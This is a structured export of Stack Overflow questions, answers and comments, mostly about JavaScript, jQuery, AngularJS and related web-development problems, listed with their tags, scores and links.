tags question: http://stackoverflow.com/q/25612292
tags question: http://stackoverflow.com/q/25579057
tags question: http://stackoverflow.com/q/25675811
type: Tag
tag name: anchor

http://stackoverflow.com/q/25571629
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39940924
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/25574940
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39936763
has body: I have an HTML page and i want to add it a little content in a DIV using XML and XSLT, how can I import XML and evaluate the relative XSLT? I have already tried iframe, but it must be resized to fit the content, I try also to use the script shown in this page: http://msdn.microsoft.com/en-us/library/ms757854%28v=vs.85%29.aspx but i think it is only for IE, which is the best way to operate?
tagged with: xslt
has title: HTML page importing XML with XSLT
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/39936816
score: 0
has comment: http://stackoverflow.com/comment/39936639
answer count: 1

http://stackoverflow.com/q/25654527
has title: PDF documents don't open inside fancybox in mobile devices, so I don't want to open a blank fancybox when I click to open PDFs in these devices
upvote count: 1
accepted answer: http://stackoverflow.com/a/25655739
tagged with: php
type: Question
score: 1
tagged with: jquery-plugins
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has body: I'm using fancybox to open PDFs. It is working fine on desktop but in mobile and tablets fancybox is not opening PDFs. And I already did some research and it seems that fancybox definitely does not work on mobile devices. So I want to know if it is possible to show my "class="fancybox_pdf" in my link only when my website is accessed by a desktop or laptop. &lt;a class="fancybox_pdf" href="&lt;?php echo BASE.'/documents/pdfs/test1.pdf'?&gt;"&gt;Link for pdf&lt;/a&gt; On mobile devices I don't want to open my PDF documents inside fancybox, because it doesn't work, so I also don't want to open a blank fancybox that is what is happening. Do you know if it is possible do this? I try with CSS like: &lt;a class="fancybox_pdf" href="&lt;?php echo BASE.'/documents/pdfs/test1.pdf'?&gt;"&gt;Link for pdf&lt;/a&gt; &lt;a href="&lt;?php echo BASE.'/documents/pdfs/test1.pdf'?&gt;"&gt;Link for pdf&lt;/a&gt; @media screen and (min-width:981px) { .fancybox_pdf:{display:none;}} But it doesn't work ok, because I have this media query that gets laptops but also tablets, and I just don't want to open my PDFs inside fancybox on mobile devices, for laptops I want to open because works fine. This is my link: &lt;a class="fancybox_pdf" href="&lt;?php echo BASE.'/documents/pdfs/test1.pdf'?&gt;"&gt;Link for pdf&lt;/a&gt; And my script: $(".fancybox_pdf").fancybox({ width: '80%', height: '80%', autoSize: false, type: 'iframe', iframe: { preload: false }, });
has answer: http://stackoverflow.com/a/25655739
favorite count: 0
tagged with: fancybox
type: AnsweredQuestion

http://stackoverflow.com/a/25638998
type: Answer
answers question: http://stackoverflow.com/q/25638780
score: 0
has body: Looks overcomplicated to me. As already answered by others you can use event.stopPropagation an simplify your code. Something like: $(document).on('click', clickedoutside); $('body').on('click', '.postit-table', clicked); function clicked(e){ e.stopPropagation(); alert('clicked inside table!'); }; function clickedoutside(e){ alert('clicked outside table!'); }; Here's your rewritten jsFiddle

http://stackoverflow.com/comment/39898797
type: QuestionComment
has text: @CasBloem be careful when using w3schools web site, see here for more informations http://www.w3fools.com/ ("`For many beginners, W3Schools has structured tutorials and playgrounds that offer a decent learning experience. However, it would be a mistake to continue your education without learning from more reputable sources`")
comment on: http://stackoverflow.com/q/25550973
score: 0
type: Comment

http://stackoverflow.com/comment/83515101
score: 0
type: Comment
has text: Worked for me, the key was trying to figure out which html tag and which attribute to choose in the selector - should have been obvious and debugging in browser was confusing as the did not see to be the one receiving the checked attribute. This answer solved it for me. +1 for putting a link to the docs in your answer.
comment on: http://stackoverflow.com/a/25562856
type: AnswerComment

http://stackoverflow.com/q/25574826
has body: I am writing a mongo shell script for data management. I want to write it using modular code that makes use of function libraries as modules. In some cases, my own modules. In other cases, carefully selected node.js modules (that I know will work in the Mongo shell environment, e.g. uuid). Unfortunately, Mongo lacks real module management. load() is not the same thing. I'm looking for a back-fill, as it were. Does anybody know of a library that can provide CommonJS module loading functionality, that is generic enough to run in the Mongo shell, or that has been ported to run in the Mongo shell? Yes, I know, I could just do it in a purely node.js environment. But if there is such a thing as a real module loader that will work in the mongo shell, that would be my first choice.
type: Question
score: 9
tagged with: mongodb
tagged with: commonjs
has title: How to "require(module)" in mongo shell
tagged with: javascript
tagged with: mongo-shell
tagged with: require
answer count: 3
has answer: http://stackoverflow.com/a/33607817
favorite count: 0
upvote count: 9
has answer: http://stackoverflow.com/a/25578382
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/71904847
has comment: http://stackoverflow.com/comment/39949825
downvote count: 0

http://stackoverflow.com/a/25681342
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25662164
answers question: http://stackoverflow.com/q/25662164
has body: For IE9 to support createRange the HTML document needs to be in Standards Mode.
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40104494
has text: In other words, you need a counter, don't you?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25663859
score: 0

http://stackoverflow.com/a/25649419
type: Answer
answers question: http://stackoverflow.com/q/25649318
has comment: http://stackoverflow.com/comment/40078547
score: 0
has comment: http://stackoverflow.com/comment/40078909
has body: I prefer using jQuery $("#btn1").click(function(e){ e.preventDefault(); alert('button 1 clicked'); }); $("#btn2").click(function(e){ e.preventDefault(); alert('button 2 clicked'); }); // you may want to use blur event, rather than change event $("#inpt1").change(function(){ alert('no button was clicked'); }); http://jsfiddle.net/habo/ukz37ztc/1/
has comment: http://stackoverflow.com/comment/40078951

http://stackoverflow.com/q/25603370
has body: I have a problem with Yii grid view. for some reason it does not seem to load correctly, even though the script is included (i can see it in the source code). This is the header part of the HTML: I get the Error: TypeError: jQuery(...).yiiGridView is not a function Any ideas where the problem may lie?
upvote count: 7
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25603976
has comment: http://stackoverflow.com/comment/44276725
score: 6
possible better answer: http://stackoverflow.com/a/57152130
type: AnsweredQuestion
has title: jQuery(...).yiiGridView is not a function
tagged with: cgridview
has answer: http://stackoverflow.com/a/25603976
has comment: http://stackoverflow.com/comment/39995452
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/39995912
tagged with: yii
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/57152130

http://stackoverflow.com/comment/40120010
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25672426
has text: It's possible that `$(".results")` isn't matching anything. If so, `.append()` would do nothing and cause what you're seeing.

http://stackoverflow.com/comment/39988831
type: Comment
has text: I am making a web app which is using lot number of widgets and these widgets are getting loaded from the database.there is one admin panel where a admin can add widgets.i am fetching all the widget's code from the database in a same page.so in future it may happen that after adding lot many widgets and there related js files they clashes and create problme.so i want to restrict there use to certain widget
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25599822

http://stackoverflow.com/comment/40063324
has text: My only other suggestion is cleaning the solution and rebuilding. Read more here: https://connect.microsoft.com/VisualStudio/feedback/details/813133/bug-in-mvc-5-framework-asp-net-identity-modules
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25601459
type: Comment

http://stackoverflow.com/comment/40136605
has text: @Youness Sorry I need 6250 to >62,50
comment on: http://stackoverflow.com/q/25681494
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/25600018
score: 0
has comment: http://stackoverflow.com/comment/39989338
has comment: http://stackoverflow.com/comment/39989041
has comment: http://stackoverflow.com/comment/39989623
has comment: http://stackoverflow.com/comment/39989052
type: Answer
has comment: http://stackoverflow.com/comment/39988876
has comment: http://stackoverflow.com/comment/39988928
answers question: http://stackoverflow.com/q/25599865
has body: If your second function is not working then check few things 1.Set EnablePageMethods attribute to true 2. Mark your method as static and give it the WebMethod attribute (system.web.services;) Like this [WebMethod] public static string sample(string name) { return name; } Now try to acces pagemethod like this function updateStatus() { PageMethods.sample("Test"); } Now your second function will also work. And try to combine both the method and call them in a single method.
has comment: http://stackoverflow.com/comment/39989761

http://stackoverflow.com/a/25643125
has comment: http://stackoverflow.com/comment/40103792
has comment: http://stackoverflow.com/comment/40095240
answers question: http://stackoverflow.com/q/25642657
type: Answer
has comment: http://stackoverflow.com/comment/40206508
score: 1
has body: Use grid.addRow() which adds an empty row. var grid = $("#grid").data("kendoGrid"); grid.addRow(); You will have to bind the keyUp action from the last editable column to get the "Tab" key.
has comment: http://stackoverflow.com/comment/40078084
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/40049855
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25632110
has text: use etags and make sure last-modified is correct, and it should work automatically without fussing with expires, which can lock a url in to a certain version for a long time if not used correctly.

http://stackoverflow.com/comment/39951696
comment on: http://stackoverflow.com/q/25578716
score: 0
has text: Should probably be `item.item[field]`?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40013547
type: Comment
type: QuestionComment
has text: not clear what issue is. Can access the whole object using `ng-options` correctly. Need more details about problem
comment on: http://stackoverflow.com/q/25613614
score: 0

http://stackoverflow.com/a/25633906
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25633619
has comment: http://stackoverflow.com/comment/40054719
has comment: http://stackoverflow.com/comment/40051054
has body: You can use the approach in the current answers, or one of the following. Assign to the property per the current code: var sendAnalytics = function() { navigationSelect.onchange = function() { sendAnalytics(); navigateToValue(); } }; which creates a single listener that calls the functions in sequence. If you require this within the functions to be the element on which the listeners are placed, then: var sendAnalytics = function() { navigationSelect.onchange = function() { sendAnalytics.call(navigationSelect); navigateToValue.call(navigationSelect); } }; Note that you should send the analytics first as once you initiate navigation, script execution may halt immediately and sendAnalytics may not be called. Multiple calls to addEventListener: var sendAnalytics = function() { navigationSelect.addEventListener('change', sendAnalytics, false); navigationSelect.addEventListener('change', navigateToValue, false); }; which creates two listeners for the same event and sets this as expected. However, the order of execution of the listeners is not guaranteed. Note that in some browsers (e.g. IE) when navigating a select's options, a change event is fired each time the keys are used to navigate to the next option. If the change event triggers navigation, users will not get past the first option.
has comment: http://stackoverflow.com/comment/40051158

http://stackoverflow.com/comment/40725737
type: Comment
has text: @DanielHerr Hey Daniel, I've updated my question to reflect what I've done so far. I have the code in place but the message I sent is lost mid way and I can't figure out where. Would you please see my edit and see if anything comes to mind? This is really driving me insane. I can't figure it out. Spent like 10 hours on it already. Thanks again.
comment on: http://stackoverflow.com/a/25671385
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40315283
score: 0
type: Comment
has text: have you tried 'without' cloudflare to see if that is the issue?
comment on: http://stackoverflow.com/a/25655266
type: AnswerComment

http://stackoverflow.com/comment/39986434
type: Comment
type: QuestionComment
has text: the `then()` will wait for the promise on which it was invoked to complete... in this case the out promise is completed before the inner ones
score: 0
comment on: http://stackoverflow.com/q/25598811

http://stackoverflow.com/comment/40046220
type: Comment
has text: Yes, jQuery can be used.
comment on: http://stackoverflow.com/q/25631170
score: 0
type: QuestionComment

http://stackoverflow.com/a/25569982
has body: In order to hide an option when a select element is focused on (which seems to be the intent, as per the comments), the simplest way is to remove the first option when the select element is focused on. Assuming, for definiteness, that you want to do this for a single select element, which has id=foo assigned to it, this code would do the job: window.onload = function() { document.getElementById('foo').onfocus = function() { this.removeChild(this.options[0]); }; } This has some usability problems, though. The hint is lost forever when the use focuses on the element, and this is bad if the user is just moving around the form and might need the hint later when he actually wants to make the selection. (Fixing this by restoring it on blur is not that simple, since form submission, too, blurs the element.) And the hint isn’t available when the user is making the selection inside element, but this is inherit in the request. According to accessibility principles, controls should have labels, associated with them using the label element. P.S. Although CSS has the :focus selector, you cannot effectively use CSS for the purpose, due to the specialties in implementations. A select element is typically implemented in a manner that is more or less immune to CSS.
type: Answer
accepted answer of: http://stackoverflow.com/q/25567517
answers question: http://stackoverflow.com/q/25567517
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40250754
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25647334
type: AnswerComment
has text: You can still deploy crx in your organization in one of three ways: via group policy, the registry, or via master_preferences. See https://support.google.com/chrome/a/answer/188453?hl=en

http://stackoverflow.com/q/25554598
score: 1
type: Question
has body: I want to count number of click to particular div(#counter) and then redirect to a different site. I did a ajax call on click event of the div with the id counter. and then on success function i'm doing a redirect on ajax complete. Here is the code jQuery('#counter').click(function(){ var data = { clicked:'yes' }; jQuery.ajax({ url:"stat.php", type:"POST", data:data }).done(function(res){ window.location = "http://www.myurl.com"; }); }); The thing is, this is making some time to redirect such that user have to wait until the ajax complete event trigger. Since am not care of the response i just need a request that initiates user has clicked that(#counter) div so i'll just increment the value in DB. So is there a way to redirect to a different website as soon as the ajax started? I don't want the user to wait for the response and then redirect. because the response is not needed in this case. This is only for site stat or what is the best way to count a button click and then redirect them to a different site.
has answer: http://stackoverflow.com/a/25555389
has comment: http://stackoverflow.com/comment/39904381
tagged with: javascript
has comment: http://stackoverflow.com/comment/39904347
answer count: 2
has comment: http://stackoverflow.com/comment/39904328
upvote count: 1
has title: How to perform a count statistics without wait for ajax response
tagged with: jquery
favorite count: 0
tagged with: ajax
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39904405
has comment: http://stackoverflow.com/comment/39904263
tagged with: http-redirect
tagged with: php
has answer: http://stackoverflow.com/a/25554816
has comment: http://stackoverflow.com/comment/39904208
has comment: http://stackoverflow.com/comment/39904183
downvote count: 0

http://stackoverflow.com/a/25655266
score: 2
has comment: http://stackoverflow.com/comment/40315283
answers question: http://stackoverflow.com/q/25654796
downvote count: 0
has comment: http://stackoverflow.com/comment/40336585
has body: Try this bit of code from the help.openshift.com website: function redirectSec(req, res, next) { if (req.headers['x-forwarded-proto'] == 'http') { res.redirect('https://' + req.headers.host + req.path); } else { return next(); } } Which can be found in this KB article: https://help.openshift.com/hc/en-us/articles/202398810-How-to-redirect-traffic-to-HTTPS-
upvote count: 2
type: Answer

http://stackoverflow.com/q/25667569
has answer: http://stackoverflow.com/a/25668253
accepted answer: http://stackoverflow.com/a/25667581
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25667621
has answer: http://stackoverflow.com/a/25667581
has body: If I've got a jQuery object that contains input fields like so: var $inputs = $("#signup input"); Is there a way I can directly select one out of it where the name attribute equals a given value? I've tried $inputs.find("name=firstName").select();, but it seems not to be working.
type: Question
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25667831
possible better answer: http://stackoverflow.com/a/25667621
has title: Select element from jQuery object with matching name attribute

http://stackoverflow.com/comment/39996406
has text: i had changed the code according to the changes mentioned to be done. But the code doesn't work yet
comment on: http://stackoverflow.com/a/25590620
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25665670
downvote count: 0
answers question: http://stackoverflow.com/q/25663851
type: Answer
upvote count: 2
has body: Ok, think I found a solution that looks pretty ok. It was the clip-path parts I had gotten wrong. When I added this code it looks better: var clip = focus.append("defs").append("svg:clipPath") .attr("id", "clip") .append("svg:rect") .attr("id", "clip-rect") .attr("x", "0") .attr("y", "0") .attr("width", width) .attr("height", height); focus.selectAll("path").data(nested).enter() .append("path") .attr("class", "line") .attr("id", "mainline") .attr("d", function (d) {return valueLine(dataFilter); }) .attr("clip-path","url(#clip)"); focus.append("path") .data(dataAHSantal) .attr("class", "pathahs") .attr("id", "subline") .attr("d", function (d) {return valueLine(dataAHSantal); }) .attr("clip-path","url(#clip)");; I still don't really understand this (and the code feels so-so). But it works.
accepted answer of: http://stackoverflow.com/q/25663851
score: 2
type: AcceptedAnswer

http://stackoverflow.com/tag/pdf
tags question: http://stackoverflow.com/q/25677212
tags question: http://stackoverflow.com/q/25601315
tags question: http://stackoverflow.com/q/25630811
type: Tag
tag name: pdf
tags question: http://stackoverflow.com/q/25667259
tags question: http://stackoverflow.com/q/25697959
tags question: http://stackoverflow.com/q/25637810
tags question: http://stackoverflow.com/q/25597751
tags question: http://stackoverflow.com/q/25569821

http://stackoverflow.com/a/25655908
score: 2
answers question: http://stackoverflow.com/q/25655703
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25655703
has comment: http://stackoverflow.com/comment/40091122
upvote count: 2
type: Answer
has body: Try this http://jsfiddle.net/r9sqjojL/2/ &lt;div data-bind="foreach: employees"&gt; &lt;label data-bind="text: firstName"&gt;&lt;/label&gt; &lt;/div&gt; var departmentVM = { employees: ko.observableArray(), departmentName: ko.observable() }; var personVM = function() { this.firstName = ko.observable(); } departmentVM.departmentName = "SomeDepartment"; for (i=1; i&lt;=5; i++){ var person = new personVM(); person.firstName("EMP - " + i.toString()); departmentVM.employees.push( person ); } ko.applyBindings(departmentVM);
has comment: http://stackoverflow.com/comment/40091546

http://stackoverflow.com/q/25711537
has answer: http://stackoverflow.com/a/25712060
has answer: http://stackoverflow.com/a/25712151
has body: I'm getting my first taste of AngularJS, having build quite a lot with laravel as a backend. So I installed laravel and created an index.blade.php file. In it I have a ng-submit, but I can't get it to work. Laravel and AngularJS test Todo @{{ todo.body }} Add todo main.js function TodoController($scope) { $scope.todos = [ { body: 'Groceries' }, { body: 'Drive' } ]; $scope.addTodo = function() { $window.alert('test'); }; }
tagged with: angularjs
has title: AngularJS submit function not working
tagged with: php
tagged with: laravel
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25712151
has comment: http://stackoverflow.com/comment/40191689
type: Question
has answer: http://stackoverflow.com/a/25711598
tagged with: javascript
has comment: http://stackoverflow.com/comment/40191754
score: 0
possible better answer: http://stackoverflow.com/a/25711598
answer count: 3

http://stackoverflow.com/a/25556927
has body: You are currently sending the response before the callback (from the http request) is done. The http.request is async, the script will not wait til its done and then send the data back to client. You will have to wait for the request to be done and then send the result back to the client (preferably in the callback function). Example: http.request(options, function(httpRes) { // Notice that i renamed the 'res' param due to one with that name existing in the outer scope. /*do the res.on('data' stuff... and any other code you want...*/ httpRes.on('end', function () { res.send(content); }); }).end();
type: Answer
downvote count: 0
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25556779

http://stackoverflow.com/comment/40166715
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25697715
has text: `settings_image.url = "<?php echo site_url('/cms/editor/upload/images');?>/"+folder;`
type: Comment

http://stackoverflow.com/a/25553604
score: 1
answers question: http://stackoverflow.com/q/25553578
downvote count: 0
has body: : assigns values within an object literal, = assigns values outside of an object literal. For example: // at this point we're outside of an object, so we use = var hello = "world"; var someObject = { // now we're inside an object literal definition, so we use : hello: "world" };
type: Answer
upvote count: 1

safari
tags question: http://stackoverflow.com/q/25667866
tags question: http://stackoverflow.com/q/25700528
tags question: http://stackoverflow.com/q/25597714
tags question: http://stackoverflow.com/q/25706481
tags question: http://stackoverflow.com/q/25648615
tags question: http://stackoverflow.com/q/25620526
type: Tag
tags question: http://stackoverflow.com/q/25567203
tags question: http://stackoverflow.com/q/25607323
tags question: http://stackoverflow.com/q/25617921
tags question: http://stackoverflow.com/q/25620334
tags question: http://stackoverflow.com/q/25630959
tags question: http://stackoverflow.com/q/25704897
tag name: safari

http://stackoverflow.com/comment/39919658
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25562821
has text: you want a horizontal webpage? that shows the page content on click? you might need to have the page contents in divs and hide them via CSS..then when clicking the menu options, show them through jquery
score: 0

http://stackoverflow.com/comment/40014210
score: 0
comment on: http://stackoverflow.com/a/25613451
type: AnswerComment
has text: You have any links that might have a tutorial or example of this?
type: Comment

http://stackoverflow.com/comment/40113413
score: 0
comment on: http://stackoverflow.com/q/25668548
has text: as all say two columns or positioning and calculating cause I don't think those boxes will get a "fixed" height.. there is a plugin (not for free) but it is worth having a look at it: http://isotope.metafizzy.co/layout-modes/packery.html
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40132829
comment on: http://stackoverflow.com/q/25679473
score: 0
type: Comment
type: QuestionComment
has text: [VisualEvent](http://www.sprymedia.co.uk/article/visual+event)

http://stackoverflow.com/a/25668503
score: 1
upvote count: 1
has body: Actually it does not work with objects. You can take a look at source code of typeahead: angular.module('ui.bootstrap.typeahead', ['ui.bootstrap.position', 'ui.bootstrap.bindHtml']) .factory('typeaheadParser', ['$parse', function ($parse) { var TYPEAHEAD_REGEXP = /^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?\s+for\s+(?:([\$\w][\$\w\d]*))\s+in\s+([\s\S]+?)$/; return { parse:function (input) { var match = input.match(TYPEAHEAD_REGEXP); if (!match) { throw new Error( 'Expected typeahead specification in form of "_modelValue_ (as _label_)? for _item_ in _collection_"' + ' but got "' + input + '".'); } return { itemName:match[3], source:$parse(match[4]), viewMapper:$parse(match[2] || match[1]), modelMapper:$parse(match[1]) }; } }; }]) So, you can see that it uses RegExp to check for input values.
has comment: http://stackoverflow.com/comment/40113521
downvote count: 0
answers question: http://stackoverflow.com/q/25665491
has comment: http://stackoverflow.com/comment/40113715
type: Answer

http://stackoverflow.com/q/25646111
has comment: http://stackoverflow.com/comment/40080240
has title: Select using "this" keyword using document.on(..) - Jquery
has body: My html code ( which is fetched from a json file after the page is loaded ): 0 My javascript/jquery code : $(document).on("click", ".fooditem", function() { $(this).find('.quan').click(); }); I want to to click the select option tag when i click the div. I found that the this keyword, here, is representing the document not the particular class. So how should I go about doing it? Here is the link
has answer: http://stackoverflow.com/a/25647140
score: 0
has comment: http://stackoverflow.com/comment/40072476
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40075302
has comment: http://stackoverflow.com/comment/40072473
has comment: http://stackoverflow.com/comment/40072549
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25646215
tagged with: http://stackoverflow.com/tag/html
tagged with: nested
type: UnansweredQuestion

http://stackoverflow.com/q/25693242
score: 1
has title: HighStocks Tooltip is not working properly
favorite count: 0
has comment: http://stackoverflow.com/comment/40158434
has comment: http://stackoverflow.com/comment/40158915
has comment: http://stackoverflow.com/comment/40216104
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25724546
tagged with: http://stackoverflow.com/tag/json
has body: I've simply used the out-of-the-box example from highcharts: $(function () { $.getJSON('http://www.highcharts.com/samples/data/jsonp.php?filename=aapl-c.json&amp;callback=?', function (data) { // Create the chart $('#container').highcharts('StockChart', { rangeSelector : { inputEnabled: $('#container').width() &gt; 480, selected : 1 }, title : { text : 'Sample Stock Price' }, series : [{ name : 'Sample Stock Price', data : data, type : 'areaspline', threshold : null, tooltip : { valueDecimals : 0 }, fillColor : { linearGradient : { x1: 0, y1: 0, x2: 0, y2: 1 }, stops : [ [0, Highcharts.getOptions().colors[0]], [1, Highcharts.Color(Highcharts.getOptions().colors[0]).setOpacity(0).get('rgba')] ] } }] }); }); }); I replaced the "data" variable with programmatically populated values: [[1409788800000,14215],[1409702400000,14332],[1409616000000,14569],[1409529600000,14898],[1409443200000,15144],[1409356800000,15335],[1409270400000,15531],[1409184000000,15647],[1409097600000,15454],[1409011200000,15143],[1408924800000,15179],[1408838400000,15537],[1408752000000,15784],[1408665600000,15844],[1408579200000,15998],[1408492800000,15678],[1408406400000,15148],[1408320000000,15106],[1408233600000,15327],[1408147200000,15642],[1408060800000,15781],[1407974400000,15686],[1407888000000,15349],[1407801600000,14830],[1407715200000,14770],[1407628800000,14948],[1407542400000,15217],[1407456000000,15495],[1407369600000,15414],[1407283200000,14976],[1407196800000,14494],[1407110400000,14572],[1407024000000,14979],[1406937600000,15541],[1406851200000,15905],[1406764800000,16076],[1406678400000,15997],[1406592000000,15698],[1406505600000,15777],[1406419200000,16012],[1406332800000,16239],[1406246400000,16367],[1406160000000,16393],[1406073600000,16131],[1405987200000,15862],[1405900800000,16002],[1405814400000,16206],[1405728000000,16478],[1405641600000,16683],[1405555200000,16803],[1405468800000,16666],[1405382400000,16625],[1405296000000,16992],[1405209600000,17075],[1405123200000,17127…
type: Question
accepted answer: http://stackoverflow.com/a/25724546
has comment: http://stackoverflow.com/comment/40158504
has comment: http://stackoverflow.com/comment/40216210
tagged with: highcharts
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/14306296
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/40026098
comment on: http://stackoverflow.com/q/25620574
type: QuestionComment
has text: You're mistaken. The first JSON is correct. The second one is not value JSON. Although the first one is also not completely correct. It should be surrounded by `{` and `}`.
type: Comment
score: 6

http://stackoverflow.com/comment/39993082
comment on: http://stackoverflow.com/q/25601942
has text: Can you paste the html output of your page (if it small enough)? Have you referenced the appropriate script libraries (bootstrap selectpicker and jquery)?
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/a/25652667
has body: Try String str = "Hello\nThere"; instead. Might need to apply white-space: pre or white-space: pre-wrap to the style of the element where you're displaying the text, though.
type: Answer
score: 12
upvote count: 12
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40084686
answers question: http://stackoverflow.com/q/25651473
accepted answer of: http://stackoverflow.com/q/25651473

http://stackoverflow.com/comment/41569024
type: QuestionComment
comment on: http://stackoverflow.com/q/25617036
has text: How do you have ember installed? The `ember-rails` gem, via `ember-cli`, or...?
score: 0
type: Comment

http://stackoverflow.com/comment/40009885
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25611565
has text: I suggest posting your form or setting up a demo in jsfiddle

http://stackoverflow.com/q/25679795
upvote count: 1
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/29222632
answer count: 1
downvote count: 0
has body: I have particular problem with making dropzonejs working with ng-view directive: Below is my index.html: Login page My app.js: var app = angular.module('Museum', ['ui.bootstrap', 'ngResource', 'ngRoute']).config(['$resourceProvider', function ($resourceProvider) { // Don't strip trailing slashes from calculated URLs $resourceProvider.defaults.stripTrailingSlashes = false; }]).config(['$routeProvider', function ($routeProvider) { $routeProvider. when('/login', { templateUrl: 'components/login/login.html', controller: 'Login', css: 'components/login/css/login.css' }) .when('/create', { templateUrl: 'components/inventory/create.html', controller: 'Add' } ); }]); And my create.html page with dropzonejs: It all works fine when I put dropzone form directly in index.html but when I route to create.html with dropzonjs using ng-view directive it does now work. Dropzone form is not process, e.g class is not "dropzone ng-pristine ng-valid dz-clickable" but "dropzone ng-pristine ng-valid", no div with message is added, etc. Anyone has any idea?
has title: Dropzonejs with ng-view of angularjs
favorite count: 0
tagged with: dropzone.js
tagged with: angularjs
type: UnansweredQuestion
tagged with: ng-view
score: 1

http://stackoverflow.com/q/25629063
score: 0
has body: I've got JSONP server response: ({"Info":"([["xxx",false,"",2,false,null],["yyy","zzzi","123456789","example@com","http://www.e-yyy.pl","example@com","img.jpg",null],["os","aaa","bbb","ccc",null,null,null],["xx_2012","www",2012,2012,2,[["yy_2012",null],["zz_2012","dk2","ccc1",1,123.5,null]]]])"}) How can I get example@com from it?
answer count: 1
accepted answer: http://stackoverflow.com/a/25629260
has comment: http://stackoverflow.com/comment/40041954
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40042292
type: Question
tagged with: jsonp
has title: get data from JSONP javascript
tagged with: javascript
has comment: http://stackoverflow.com/comment/40041944
has answer: http://stackoverflow.com/a/25629260

http://stackoverflow.com/q/25621191
tagged with: regex
upvote count: 2
answer count: 3
possible better answer: http://stackoverflow.com/a/25621371
has answer: http://stackoverflow.com/a/25621371
has comment: http://stackoverflow.com/comment/40027138
has title: regex for alphanumieric string pattern with underscores and min occurannce and no max occurance - javascript
has comment: http://stackoverflow.com/comment/40027221
has comment: http://stackoverflow.com/comment/40027286
has answer: http://stackoverflow.com/a/25621459
has answer: http://stackoverflow.com/a/25621499
score: 2
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40027333
accepted answer: http://stackoverflow.com/a/25621459
favorite count: 0
has body: I am new to regex and trying validation in javascript/jquery using regex, appreciate any help. The input is : alphanumeric string with minimum 3 underscores Underscores cannot be consecutive Underscores cannot just be separated by empty strings The string cannot start or end with an underscore Valid test cases: Abc_def_gh_123 Abc_def_1h_103_BA Abc_def_1h_103_BA Invalid test cases ___ _ _ _ Abc_d Abc_def_ghi_de21_ Abc_def_fg Abc_def_fg_ _Abc_def_fg I had tried regex in javascript /^[a-zA-Z0-9]+_[a-zA-Z0-9]+_[a-zA-Z0-9]+_[a-zA-Z0-9]+$/ but it fails eg. if the string has more than 3 underscores
has comment: http://stackoverflow.com/comment/40027188
type: Question

http://stackoverflow.com/comment/39986498
type: Comment
type: QuestionComment
has text: yes, it is. I want make the parent element's event be executed when clicked its child element. In this code, target only contains an element. I want make target contains element's child elements too.
comment on: http://stackoverflow.com/q/25598781
score: 0

http://stackoverflow.com/a/53422266
has body: You need to set up a reverse proxy configuration in Apache. Ensure firstly that mod_proxy is installed and available. Then configure your Apache virtual host like this: ProxyRequests Off &lt;Proxy *&gt; Order deny, allow Allow from all &lt;/Proxy&gt; &lt;Location /api&gt; ProxyPass http://127.0.0.1:5001 ProxyPassReverse http://1127.0.0.1:5001 &lt;/Location&gt; HTH
type: Answer
answers question: http://stackoverflow.com/q/25647362
score: 0

http://stackoverflow.com/q/25591407
has comment: http://stackoverflow.com/comment/39973170
has answer: http://stackoverflow.com/a/25593106
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/39973250
has comment: http://stackoverflow.com/comment/39973262
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/25593106
tagged with: javascript
linked to: http://stackoverflow.com/q/1443158
has comment: http://stackoverflow.com/comment/39973265
has comment: http://stackoverflow.com/comment/39973227
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
tagged with: ajax
type: Question
has title: JSON and binary data - encoding
